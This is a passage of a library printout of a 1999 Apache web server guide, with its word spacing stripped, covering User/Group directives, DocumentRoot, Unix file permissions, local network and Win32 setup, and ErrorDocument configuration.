EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page32
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThebitsofthescriptafterOKarereallyirrelevant,butofcourseFreeBSDdoesnotknowthatyouaremakinganonexistentuser.Havingtoldtheoperatingsystem
aboutthisuser,younowhavetotellApache.Editthefilehttpd.conftoincludethefollowinglines:
Userwebuser
Groupwebgroup
Thefollowingaretheinterestingdirectives.
User
Userunixuserid
Default:User#1
Serverconfig,virtualhost
TheUserdirectivesetstheuserIDunderwhichtheserverwillanswerrequests.Inordertousethisdirective,thestandaloneservermustberuninitiallyasroot.
unixuseridisoneofthefollowing:
username
Referstothegivenuserbyname
#usernumber
Referstoauserbyhisorhernumber
Theusershouldhavenoprivilegesthatallowhimorhertoaccessfilesnotintendedtobevisibletotheoutsideworldsimilarly,theusershouldnotbeabletoexecute
codethatisnotmeantforhttpdrequests.Itisrecommendedthatyousetupanewuserandgroupspecificallyforrunningtheserver.Someadministratorsuseuser
nobody,butthisisnotalwayspossibleordesirable.Forexample,mod_proxy'scache,whenenabled,mustbeaccessibletothisuser(seetheCacheRoot
directiveinChapter9,ProxyServer).
Notes.Ifyoustarttheserverasanonrootuser,itwillfailtochangetothelesserprivilegeduser,andwillinsteadcontinuetorunasthatoriginaluser.Ifyoustartthe
serverasroot,thenitisnormalfortheparentprocesstoremainrunningasroot.
Security.Don'tsetUser(orGroup)torootunlessyouknowexactlywhatyouaredoingandwhatthedangersare.
Group
Groupunixgroup
Default:Group#1
Serverconfig,virtualhost
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page33
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheGroupdirectivesetsthegroupunderwhichtheserverwillanswerrequests.Inordertousethisdirective,thestandaloneservermustberuninitiallyasroot.
unixgroupisoneofthefollowing:
groupname
Referstothegivengroupbyname
#groupnumber
Referstoagroupbyitsnumber
Itisrecommendedthatyousetupanewgroupspecificallyforrunningtheserver.Someadministratorsusegroupnobody,butthisisnotalwayspossibleordesirable.
Note.Ifyoustarttheserverasanonrootuser,itwillfailtochangetothespecifiedgroup,andwillinsteadcontinuetorunasthegroupoftheoriginaluser.
Now,whenyourunhttpdandlookforthePID,youwillfindthatonecopybelongstoroot,andseveralothersbelongtowebuser.Killtherootcopyandtheothers
willvanish.
RunningApacheUnderUnix
WhenyourunApachenow,youmaygetthefollowingerrormessage:
httpd:cannotdeterminelocalhostname
UseServerNametosetitmanually.
WhatApachemeansisthatyoushouldputthislineinthehttpd.conffile:
ServerNameyourmachinename
Finally,beforeyoucanexpectanyaction,youneedtosetupsomedocumentstoserve.Apache'sdefaultdocumentdirectoryis/httpd/htdocswhichyoudon't
wanttousebecauseyouareat/usr/www/site.toddlesoyouhavetosetitexplicitly.Create/site.toddle/htdocs,andtheninitcreateafilecalled1.txtcontaining
theimmortalwords"hulloworld."Thenaddthislinetohttpd.conf:
DocumentRoot/usr/www/site.toddle/htdocs
ThecompleteConfigfile,/site.toddle/conf/httpd.conf,nowlookslikethis:
Userwebuser
Groupwebgroup
ServerNameyourmachinename
DocumentRoot/usr/www/site.toddle/htdocs
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page34
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Whenyoufireuphttpd,youshouldhaveaworkingwebserver.Toproveit,startupabrowsertoaccessyournewserver,andpointitat
http://yourmachinename/.
Asweknow,httpmeansusetheHTTPprotocoltogetdocuments,and"/"ontheendmeansgototheDocumentRootdirectoryyousetinhttpd.conf.
DocumentRoot
DocumentRootdirectoryComponent
Default:/usr/local/apache/htdocs
Serverconfig,virtualhost
ThisdirectivesetsthedirectoryfromwhichApachewillservefiles.UnlessmatchedbyadirectivelikeAlias,theserverappendsthepathfromtherequestedURL
tothedocumentroottomakethepathtothedocument.Forexample:
DocumentRoot/usr/web
Anaccesstohttp://www.my.host.com/index.htmlnowrefersto/usr/web/index.html.
Thereappearstobeabuginmod_dirthatcausesproblemswhenthedirectoryspecifiedinDocumentRoothasatrailingslash(e.g.,
DocumentRoot/usr/web/),sopleaseavoidthat.ItisworthbearinginmindthatthedeeperDocumentRootgoes,thelongerittakesApachetocheck
outthedirectories.Forthesakeofperformance,adopttheBritishArmy'suniversalmotto:KISS(KeepItSimple,Stupid)!
LynxisthetextbrowserthatcomeswithFreeBSDandotherflavorsofUnixifitisavailable,type:
%lynxhttp://yourmachinename/
Yousee:
INDEXOF/
ParentDirectory
1.txt
Ifyoumoveto1.txtwiththedownarrow,yousee:
hulloworld
Ifyoudon'thaveLynx(orNetscape,orsomeotherwebbrowser)onyourserver,youcanusetelnet:
%telnetyourmachinename80
Thentype:
GET/HTTP/1.0<CR><CR>
Notethatifyouareonthesamemachine,youcanusehttp://127.0.0.1/orbutthiscanbeconfusingbecausevirtualhostresolutionmaycausetheservertobehavedifferently
thanifyouhadusedtheinterface's"real"name"target="_BLANK">http://localhost/,butthiscanbeconfusingbecausevirtualhostresolutionmaycausetheservertobehave
differentlythanifyouhadusedtheinterface's"real"name.
telnetisnotreallysuitableasawebbrowser,thoughitcanbeaveryusefuldebuggingtool.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page35
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youshouldsee:
HTTP/1.0200OK
Sat,24Aug199623:49:02GMT
Server:Apache/1.3
Connection:close
ContentType:text/html
<HEAD><TITLE>Indexof/</TITLE></HEAD><BODY>
<H1>Indexof</H1>
<UL><LI><AHREF="/">ParentDirectory</A>
<LI><AHREF="1.txt">1.txt</A>
</UL></BODY>
Connectionclosedbyforeignhost.
Thestuffbetweenthe''<"and">"isHTML,writtenbyApache,which,ifviewedthroughabrowser,producestheformattedmessageshownbyLynxearlier,andby
Netscapeinthenextchapter.
SeveralCopiesofApache
Togetadisplayofalltheprocessesrunning,run:
%psaux
AmongalotofUnixstuff,youwillseeonecopyofhttpdbelongingtoroot,andanumberthatbelongtowebuser.Theyaresimilarcopies,waitingtodealwith
incomingqueries.
Therootcopyisstillattachedtoport80thusitschildrenwillbealsobutitisnotlistening.Thisisbecauseitisrootandhastoomanypowers.Itisnecessaryfor
this"master"copytoremainrunningasrootbecauseonlyrootcanopenportsbelow1024.Itsjobistomonitorthescoreboardwheretheothercopiesposttheir
status:busyorwaiting.Iftherearetoofewwaiting(default5,setbytheMinSpareServersdirectiveinhttpd.conf),therootcopystartsnewonesifthereare
toomanywaiting(default10,setbytheMaxSpareServersdirective),itkillssomeoff.IfyounotethePID(shownbypsaxorpsauxforafullerlistingalso
tobefoundin/logs/httpd.pid)oftherootcopyandkillitwith:
%killPID
orusethestopscriptdescribedin"SettingUpaUnixServer,"earlierinthischapter,youwillfindthattheothercopiesdisappearaswell.
UnixPermissions
IfApacheistoworkproperly,it'simportanttocorrectlysetthefileaccesspermissions.InUnixsystems,therearethreekindsofpermissions:read,write,and
execute.Theyattachtoeachobjectinthreelevels:user,group,andotheror"rest
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page36
oftheworld."Ifyouhaveinstalledthedemonstrationsites,goto/site.cgi/htdocsandtype:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%lsl
Yousee:
rwrwr5rootbin1575Aug1507:45form_summer.html
Thefirst""indicatesthatthisisaregularfile.Itisfollowedbythreepermissionfields,eachofthreecharacters.Theymean,inthiscase:
User(root)
Readyes,writeyes,executeno
Group(bin)
Readyes,writeyes,executeno
Other
Readyes,writeno,executeno
Whenthepermissionsapplytoadirectory,the"X"executepermissionmeansscan,theabilitytoenterthedirectory.
Thepermissionthatinterestsusisother,becausethecopyofApachethattriestoaccessthisfilebelongstouserwebuserandgroupwebgroup.Theseweresetupto
havenoaffinitieswithrootandbin,sothatcopycangainaccessonlyundertheotherpermissions,andtheonlyonesetis"read."Consequently,aBadGuywho
crawlsunderthecloakofApachecannotalterordeleteourpreciousform_summer.htmlhecanonlyreadit.
Wecannowwriteacoherentdoctrineonpermissions.Wehavesetthingsupsothateverythinginourwebsiteexceptthedatavulnerabletoattackhasownerroot
andgroupwheel.Wedidthispartlybecauseitisavalidapproach,butalsobecauseitistheonlyportableone.ThefilesonourCDROMwithownerrootandgroup
wheelhaveownerandgroupnumbers"0"thattranslateintosimilarsuperuseraccessoneverymachine.
Ofcourse,thisonlymakessenseifthewebmasterhasrootloginpermission,whichwehad.Youmayhavetoadaptthewholeschemeifyoudonothaverootlogin,
andyoushouldperhapsconsultyoursiteadministrator.
Ingeneral,onawebsite,everythingshouldbeownedbyauserwhoisnotwebuserandagroupthatisnotwebgroup(assumingyouusethesetermsforApache
configurations).
Therearefourkindsoffilestowhichwewanttogivewebuseraccess:directories,data,programs,andshellscripts.webusermusthavescanpermissionsonallthe
directories,startingatrootdowntowherevertheaccessiblefilesare.IfApacheis
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page37
toaccessadirectory,thatdirectoryandallinthepathmusthaveXpermissionsetforother.Youdothisbyentering:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%chmodo+xeachdirectoryinthepath
Inordertoproduceadirectorylisting(ifthisisrequiredby,say,anindex),thefinaldirectorymusthavereadpermissionforother.Youdothisbytyping:
%chmodo+rfinaldirectory
Itprobablyshouldnothavewritepermissionsetforother:
%chmodowfinaldirectory
Inordertoserveafileasdataandthisincludesfileslike.htaccess(seeChapter3,TowardaRealWebSite)thefilemusthavereadpermissionforother:
%chmodo+rfile
And,asbefore,denywritepermission:
%chmodowfile
Inordertorunaprogram,thefilemusthaveexecutepermissionsetforother:
%chmodo+xprogram
Inordertoexecuteashellscript,thefilemusthavereadandexecutepermissionsetforother:
%chmodo+rxscript
ALocalNetwork
Emboldenedbythesuccessofsite.toddle,wecannowsetaboutamorerealisticsetup,withoutasyetventuringoutontotheunknownwatersoftheWeb.Weneed
togettwothingsrunning:ApacheundersomesortofUnixandaGUIbrowser.Therearetwomainwaysthiscanbeachieved:
RunApacheandabrowser(suchasMosaicorNetscapeunderX)onthesamemachine.The"network"isthenprovidedbyUnix.
RunApacheonaUnixboxandabrowseronaWindows95/WindowsNT/MacOSmachine,orviceversa,andlinkthemwithEthernet(whichiswhatwedidfor
thisbookusingFreeBSD).
Wecannothopetogivedetailedexplanationsforallpossiblevariantsofthesesituations.Weexpectthatmanyofourreaderswillalreadybewebmasters,familiarwith
theseissues,whowillwanttoskipthenextsection.ThosewhoarenewtotheWebmayfinditusefultoknowwhatwedid.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page38
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
OurExperimentalMicroWeb
First,wehadtoinstallanetworkcardontheFreeBSDmachine.Asitbootsup,ittestsallitscomponentsandprintsalistontheconsole,whichincludesthecardand
thenameoftheappropriatedriver.Weuseda3Comcard,andthefollowingentriesappeared:
13C5x9board(s)onISAfoundat0x300
ep0at0x3000x30firq10onisa
ep0:aui/bnc/utp[ BNC ]address00:a0:24:4b:48:23irq10
Thisindicatedprettyclearlythatthedriverwasep0,andthatithadinstalledproperly.Ifyoumissthisatbootup,FreeBSDletsyouhittheScrollLockkeyandpage
uptillyouseeit,thenhitScrollLockagaintoreturntonormaloperation.
Onceacardwasworking,weneededtoconfigureitsdriver,epO.Wedidthiswiththefollowingcommands:
ifconfigep0192.168.123.2
ifconfigep0192.168.123.3aliasnetmask0xFFFFFFFF
ifconfigep0192.168.124.1alias
ThealiascommandmakesifconfigbindanadditionalIPaddresstothesamedevice.ThenetmaskcommandisneededtostopFreeBSDfromprintingan
errormessage(formoreonnetmasks,seeO'Reilly'sTCP/IPNetworkAdministration).
Notethatthenetworknumbersusedherearesuitedtoourparticularnetworkconfiguration.You'llneedtotalktoyournetworkadministratortodeterminesuitable
numbersforyourconfiguration.EachtimewestartuptheFreeBSDmachinetoplaywithApache,wehavetorunthesecommands.Theusualwaytodothisistoadd
themto/etc/rc.local(ortheequivalentlocationitvariesfrommachinetomachine,butwhateveritiscalled,itisrunwheneverthesystemboots).
IfyouarefollowingtheFreeBSDinstallationorsomethinglikeit,youalsoneedtoinstallIPaddressesandtheirhostnames(ifweweretobepedantic,wewouldcall
themfullyqualifieddomainnames,orFQDN)inthefile/etc/hosts:
192.168.123.2www.butterthlies.com
192.168.123.2sales.butterthlies.com
192.168.123.3salesnotvh.butterthlies.com
192.168.124.1www.faraway.com
Notethatwww.butterthlies.comandsales.butterthlies.combothhavethesameIPnumber.Thisissowecandemonstratethenew
NameVirtualHostsdirectiveinthenextchapter.Wewillneedsalesnotvh.butterthlies.cominsite.twocopy.Notealsothatthismethodofsettingup
hostnamesisnormallyonlyappropriatewhenDNSisnotavailableifyouusethismethod,you'llhavetodoitoneverymachinethatneedstoknowthenames.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page39
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SettingUpaWin32Server
ThereisnopointtryingtorunApacheunlessTCP/IPissetupandrunningonyourmachine.Inourexperience,ifitisn't,ApachewillcrashWindows95.Aquicktest
istopingsomeIPandifyoucan'tthinkofarealone,pingyourself:
>ping127.0.0.1
IfTCP/IPisworking,youshouldseesomecollaborativemessagelike:
Pinging127.0.0.1with32bytesofdata:
Replyfrom127.0.0.1:bytes=32time<10msTTL=32
Ifyoudon'tseesomethingalongtheselines,deferfurtheroperationsuntilTCP/IPisworking.
Itisimportanttorememberthatinternally,WindowsApacheisessentiallythesameastheUnixversionandthatitusesUnixstyleforwardslashes("/")ratherthan
MSDOSandWindowsstylebackslashes("\")initsfileanddirectorynamesasspecifiedinvariousfiles.
ThereareseveralwaysofrunningApacheunderWin32.UnderNT,youcanrunitasaservice,operatinginthebackground.Firstyouhavetoinstallitasaserviceby
runningthe"InstallApacheasaService"optionfromtheStartmenu.Alternatively,clickontheMSDOSprompttogetaDOSsessionwindow.Gotothe/Program
Files/Apachedirectory(orwhereverelseyouinstalledApache)with:
>cd"\ProgramFiles\apache"
ApachecanbeinstalledasanNTservicewith:
>apachei
anduninstalledwith:
>apacheu
Oncethisisdone,youcanopentheServiceswindowintheControlPanel,selectApache,andclickonStart.Apachethenrunsinthebackgrounduntilyouclickon
Stop.Alternatively,youcanopenaconsolewindowandtype:
>netstartapache
>netstopapache
TorunApachefromaconsolewindow,selecttheApacheserveroptionfromtheStartmenu.
AlternativelyandunderWin95,thisisallyoucandoclickontheMSDOSprompttogetaDOSsessionwindow.Gotothe/ProgramFiles/Apachedirectory
with:
>cd"\ProgramFiles\apache"
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page40
TheApacheexecutable,apache.exe,issittinghere,andwecanstartitrunning,toseewhathappens,with:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
>apaches
YoumightwanttoautomateyourApachestartupbyputtingthenecessarylineintoafilecalledgo.bat.Youthenonlyneedtotype:
go[RETURN]
SincethisisthesameasfortheUnixversion,wewillsimplysay"typego"throughoutthebookwhenApacheistobestarted,andthussavelengthyexplanations.
WhenweranApache,wereceivedthefollowinglines:
Apache/<versionnumber>
Syntaxerroronline44of/apache/conf/httpd.conf
ServerRootmustbeavaliddirectory
Todealwiththefirstcomplaint,welookedatthefile\ProgramFiles\apache\conf\httpd.conf.Thisturnedouttobeaformidabledocumentthat,ineffect,
compressesalltheinformationwetrytoconveyintherestofthisbookintoafewpages.Wecouldedititdowntosomethingmorelucid,butasounderandmore
educationalapproachistostartfromnothingandseewhatApacheasksfor.Thetroublewithsimplyeditingtheconfigurationfilesastheyaredistributedisthatthe
processobscuresalotofdefaultsettings.Ifandwhensomeonenewhastowrestlewithitheorshemaymakefearfulblundersbecauseitisn'tclearwhathasbeen
changedfromthedefaults.Renamethisfileifyouwanttolookatit:
>renhttpd.conf* .cnk
Otherwise,deleteit,anddeletesrm.confandaccess.conf:
>delsrm.conf
>delaccess.conf
WhenyourunApachenow,yousee:
Apache/<versionnumber>
fopen:Nosuchfileordirectory
httpd:couldnotopendocumentconfigfileapache/conf/httpd.conf
Andwecanhardlyblameit.Openedit:
>edithttpd.conf
andinserttheline:
#newconfigfile
Paradoxically,youhavetousewhatlookslikeanMSDOSlineeditor,edit,whichyoumightthinklimitedtotheoldMSDOS8.3Componentformat,togenerateafilewiththe
fourletterextension.conf.TheWindowseditors,suchasNotepadandWordPad,insistonadding.txtattheendoftheComponent.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page41
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
The"#"makesthisacommentwithouteffect,butitgivestheeditorsomethingtosave.RunApacheagain.Wenowseesomethingsensible:
httpd:cannotdeterminelocalhostname
useServerNametosetitmanually
WhatApachemeansisthatyoushouldputalineinthehttpd.conffile:
ServerNameyour_host_name
NowwhenyourunApacheyousee:
>apaches
Apache/<versionnumber>
The""hereismeanttorepresentablinkingcursor,showingthatApacheishappilyrunning.UnlikeotherprogramsinanMSDOSwindow,Apachekeepsongoing
evenafterthescreensaverhaskickedin.
Youwillnoticethatthroughoutthisbook,theConfigfilesalwayshavethefollowinglines:
Userwebuser
Groupwebgroup
ThesearenecessaryforUnixsecurityand,happily,areignoredbytheWin32versionofApache,sowehaveavoidedtediousexplanationsbyleavingthemin
throughout.Win32userscanincludethemornotastheyplease.
YoucannowgetoutoftheMSDOSwindowandgobacktothedesktop,fireupyourfavoritebrowser,andaccesshttp://yourmachinename/.Youshouldseea
cheerfulscreenentitled"ItWorked!,"whichisactually\apache\htdocs\index.html.
Whenyouhavehadenough,hitCTRLCintheApachewindow.
Alternatively,underWin95andfromApacheVersion1.3.3on,youcanopenanotherDOSsessionwindowandtype:
apachekshutdown
Thisdoesagracefulshutdown,inwhichApacheallowsanytransactionscurrentlyinprocesstocontinuetocompletionbeforeitexits.Inaddition,using:
apachekrestart
performsagracefulrestart,inwhichApacherereadstheconfigurationfileswhileallowingtransactionsinprogresstocomplete.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page42
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SecurityUnderWin32
AlthoughNThasanextensiveandcomplexsecurityinfrastructure,itispoorlydocumentedandunderstood.Consequently,thereiscurrentlylittlecodeintheWindows
versionofApachetointerfacewithit.Besides,NTseemstosufferfromavarietyofmoremundaneproblems:theREADMEfilethatcomeswithApachev1.3.1says,
inpart:
VersionsofApacheonWin32priortoversion1.3.1arevulnerabletoanumberofsecurityholescommontoseveralWin32servers.Theproblemsthatimpact
Apacheinclude:
trailing"."sareignoredbythefilesystem.Thisallowedcertaintypesofaccessrestrictionstobebypassed.
directorynamesofthreeormoredots(eg."")areconsideredtobevalidsimilarto"..".Thisallowedpeopletogainaccesstofilesoutsideoftheconfigured
documenttrees.
Therehavebeenatleastfourothersimilarinstancesofthesamebasicproblem:onWin32,thereismorethanonenameforafile.Someofthesenamesare
poorlydocumentedorundocumented,andevenMicrosoft'sownIIShasbeenvulnerabletomanyoftheseproblems.ThisbehavioroftheWin32filesystemand
APImakesitverydifficulttoensurefuturesecurityproblemsofthistypehavebeenknownaboutforyears,howevereachspecificinstancehasbeendiscovered
individually.Itisunknownifthereareother,yetunpublicized,Componentvariants.Asaresult,werecommendthatyouuseextremecautionwhendealingwith
accessrestrictionsonallWin32webservers.
InplainEnglish,thismeans,onceagain,thatWin32isnotanadequateplatformforrunningawebserverthathasanyneedforsecurity.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page43
3
TowardaRealWebSite
MoreandBetterWebSites:site.simple
Wearenowinapositiontostartcreatingreal(ish)websites,whichcanbefoundontheaccompanyingCDROM.Forthesakeofalittleextrarealism,wewillbase
themlooselyroundasimplewebbusiness,Butterthlies,Inc.,thatcreatesandsellspicturepostcards.Weneedtogiveitsomewebaddresses,butsincewedon'tyet
wanttoventureintotheoutsideworld,theyshouldbevariantsonyourownnetworkIDsothatallthemachinesinthenetworkrealizethattheydon'thavetogoouton
theWebtomakecontact.Forinstance,weeditedthe\windows\hostsfileontheWin95machinerunningthebrowserandthe/etc/hostsfileontheUnixmachine
runningtheservertoreadasfollows:
127.0.0.1localhost
192.168.123.2www.butterthlies.com
192.168.123.2sales.butterthlies.com
192.168.123.3salesIP.butterthlies.com
192.168.124.1www.faraway.com
localhostisobligatory,soweleftitin,butyoushouldnotmakeanyserverrequeststoitsincetheresultsarelikelytobeconfusing.
Youprobablyneedtoconsultyournetworkmanagertomakesimilararrangements.
site.simpleissite.toddlewithafewsmallchanges.Thescriptgoisdifferentinthatitrefersto/site.simple/conf/httpd.confratherthan
/site.toddle/conf/httpd.conf.
Unix:
%httpdd/usr/www/site.simple
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page44
Win32:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
>apachedc:/usr/www/site.simple
Thiswillbetrueofeachsiteinthedemonstrationsetup,sowewillnotmentionitagain.
FromhereontherewillbeminimaldifferencesbetweentheserversetupsnecessaryforWin32andthoseforUnix.Unlessoneortheotherisspecificallymentioned,
youshouldassumethatthetextreferstoboth.
Itwouldbenicetohavealogofwhatgoeson.Inthefirsteditionofthisbookwefoundthatafileaccess_logwascreatedautomaticallyinsite.simple/logs.Ina
ratherbizarremovesincethen,theApacheGrouphasbrokenbackwardcompatibilityandnowrequiresyoutomentionthelogfileexplicitlyintheConfigfileusingthe
TransferLogdirective.
The/conf/httpd.conffilenowcontainsthefollowing:
Userwebuser
Groupwebgroup
ServerNamelocalhost
DocumentRoot/usr/www/site.simple/htdocs
TransferLoglogs/access_log
In/htdocswehave,asbefore,1.txt:
hulloworldfromsite.simple!
Now,typegoontheserver.Switchtotheclientmachineandretrievehttp://www.butterthlies.com.Youshouldsee:
Indexof/
.ParentDirectory
.1.txt
Clickon1.txtforaninspirationalmessageasbefore.
Thisallseemssatisfactory,butthereisahiddenmystery.Wegetthesameresultifweconnecttohttp://sales.butterhlies.com.Whyisthis?Why,sincewehavenot
mentionedeitheroftheseURLsortheirIPaddressesintheconfigurationfileonsite.simple,dowegetanyresponseatall?
Theansweristhatwhenweconfiguredthemachinetheserverrunson,wetoldthenetworkinterfacetorespondtoanyoftheseIPaddresses:
192.168.123.2
192.168.123.3
BydefaultApachelistenstoallIPaddressesbelongingtothemachineandrespondsinthesamewaytoallofthem.Iftherearevirtualhostsconfigured(whichthere
aren't,inthiscase),Apacherunsthroughthem,lookingforanIPnamethatcorrespondstotheincomingconnection.Apacheusesthatconfigura
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page45
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
tionifitisfound,orthemainconfigurationifitisnot.Laterinthischapter,welookatmoredefinitecontrolwiththedirectivesBindAddress,Listen,and
<VirtualHost>.
Ithastobesaidthatworkinglikethis(thatis,switchingrapidlybetweendifferentconfigurations)seemedtogetNetscapeorInternetExplorerintoararemuddle.To
besurethattheserverwasfunctioningproperlywhileusingNetscapeasabrowser,itwasusuallynecessarytoreloadthefileunderexaminationbyholdingdownthe
ControlkeywhileclickingonReload.Inextremecases,itwasnecessarytodisablecachingbygoingtoEdit Preferences Advanced Cache.Setmemoryand
diskcacheto0andsetcachecomparisontoEveryTime.InInternetExplorer,setCacheComparestoEveryTime.Ifyoudon't,thebrowsertendstodisplaya
jumbleofseveraldifferentresponsesfromtheserver.Thisoccursbecausewearedoingwhatnouseroradministratorwouldnormallydo,namely,flippingaround
betweendifferentversionsofthesamesitewithdifferentversionsofthesamefile.Wheneverweflipfromanewerversiontoanolderversion,Netscapeisledto
believethatitscachedversionisuptodate.
Backontheserver,stopApachewith^C(orwhateveryourkillcharacteris)andlookatthelogfiles.In/logs/access_log,youshouldseesomethinglikethis:
192.168.123.1[<datetime>]"GET/HTTP/1.1"200177
200istheresponsecode(meaning''OK,cool,fine"),and177isthenumberofbytestransferred.In/logs/error_log,thereshouldbenothingbecausenothingwent
wrong.However,itisagoodhabittolooktherefromtimetotime,thoughyouhavetomakesurethatthedateandtimeloggedcorrespondtotheproblemyouare
investigating.Itiseasytofoolyourselfwithsomelonggonedrama.
Lifebeingwhatitis,thingscangowrong,andtheclientcanaskforsomethingtheservercan'tprovide.ItmakessensetoallowforthiswiththeErrorDocument
command.
ErrorDocument
ErrorDocumenterrorcodedocument
Serverconfig,virtualhost,directory,.htaccess
Intheeventofaproblemorerror,Apachecanbeconfiguredtodooneoffourthings:
1.Outputasimplehardcodederrormessage.
2.Outputacustomizedmessage.
3.RedirecttoalocalURLtohandletheproblem/error.
4.RedirecttoanexternalURLtohandletheproblem/error.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page46
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thefirstoptionisthedefault,whereasoptions2through4areconfiguredusingtheErrorDocumentdirective,whichisfollowedbytheHTTPresponsecodeand
amessageorURL.Messagesinthiscontextbeginwithadoublequotationmark("),whichdoesnotformpartofthemessageitself.Apachewillsometimesoffer
additionalinformationregardingtheproblemorerror.
URLscanbelocalURLsbeginningwithaslash("/")orfullURLsthattheclientcanresolve.Forexample:
ErrorDocument500http://foo.example.com/cgibin/tester
ErrorDocument404/cgibin/bad_urls.pl
ErrorDocument401/subscription_info.html
ErrorDocument403"Sorrycan'tallowyouaccesstoday
NotethatwhenyouspecifyanErrorDocumentthatpointstoaremoteURL(i.e.,anythingwithamethodsuchas"http"infrontofit),Apachewillsendaredirect
totheclienttotellitwheretofindthedocument,evenifthedocumentendsupbeingonthesameserver.Thishasseveralimplications,themostimportantbeingthatif
youuseanErrorDocument401directive,itmustrefertoalocaldocument.ThisresultsfromthenatureoftheHTTPbasicauthenticationscheme.
Butterthlies,Inc.,GetsGoing
Thehttpd.conffile(tobefoundin/site.first)containsthefollowing:
Userwebuser
Groupwebgroup
ServerNamelocalhost
DocumentRoot/usr/www/site.first/htdocs
TransferLoglogs/access_log
InthefirsteditionofthisbookwementionedthedirectivesAccessConfigandResourceConfighere.Ifsetwith/dev/null(NULunderWin32),they
disablethesrm.confandaccess.conffiles,andwereformerlyrequiredifthosefileswereabsent.However,newversionsofApacheignorethesefilesiftheyarenot
present,sothedirectivesarenolongerrequired.
IfyouareusingWin32,notethattheUserandGroupdirectivesarenot
supported,sothesecanberemoved.
Apache'sroleinlifeisdeliveringdocuments,andsofarwehavenotdonemuchofthat.WethereforebegininamodestwaywithalittleHTMLscriptthatlistsour
